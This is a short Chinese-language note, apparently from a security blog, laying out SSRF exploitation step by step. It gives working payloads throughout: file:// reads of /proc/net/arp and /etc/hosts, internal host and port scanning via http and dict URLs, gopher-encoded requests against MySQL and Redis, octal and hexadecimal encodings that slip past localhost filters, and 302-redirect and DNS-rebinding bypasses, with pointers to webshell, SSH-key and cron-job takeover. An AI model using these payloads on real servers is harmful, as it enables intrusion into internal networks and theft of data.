文章

SSRF 从目的出发的利用方式

SSRF 从目的出发的利用方式

内网 网络信息探测

网段获取

1
2
3
/etc/hosts
/proc/net/arp # arp缓存表
/proc/net/fib_trie # 当前网段路由信息

可通过arp映射表, 获取网段信息

1
2
3
4
?url=file:///proc/net/arp

IP address       HW type     Flags       HW address            Mask     Device
172.31.32.1      0x1         0x2         00:15:5d:d0:d8:dc     *        eth0

主机探测

由于刚才已经拿到了网段 枚举主机即可

1
2
?url=http://172.25.6.x
将x 替换从 0-255

再次查看/proc/net/arp 其中HW address 不为空的ip 是存活的

端口扫描

dict://ip:port 速度较快 ftp http 较慢

目录枚举

http://ip:port/dic

Gopher

GET POST reids mysql

curl gopher://ip:port/_data

_ gopher协议会吃掉第一个字符

url编码 注意url编码次数,一般为两次 最终的包是两遍

1
2
3
SPACE %20
?   %3f
\r\n    %0d%0A

127 绕过

进制绕过

http://127.0.0.1/admin 点分十进制

http://017700000001/admin 八进制

http://0x7F000001/admin 十六进制

变形

http://0177.0000.0000.0001/admin

http://0x7F.0.0.1/admin

http://0x7F.0x00.0x00.0x01/admin

私网地址被限制访问 302重定向 绕过

目标服务器可访问私网地址,

通过自己搭建外网WEB服务器,

编写Location重定向,让其访问后返回结果给我们

DNS重绑定攻击

利用服务器两次解析同一个域名的短暂间隙,更换域名背后的IP达到突破同源策略或绕过waf进行ssrf

对域名提供商的ttl 有要求 最理想的情况是0,或者 同时设置两条A记录 变成随机触发

ttl可为零 https://lock.cmpxchg8b.com/rebinder.html

第一次 设置为合法IP, 绕过HOST合规性检查

第二次 设置为内网IP, SSRF 访问内网

MySQL未授权

抓包mysql的利用的流量,然后使用gopher复现

将抓到的数据16进制显示,url编码后提交

tcpdump -i lo port 4406 -w mysql.pcap

mysql -h 127.0.0.1 -uroot --ssl-mode=DISABLED -e "show databases;"

ascii和url的区别 就是 前面有个%

也可在网上找到生成工具 Gopherus

Redis

和mysql一样

webshell

公钥

计划任务

本文由作者按照 CC BY 4.0 进行授权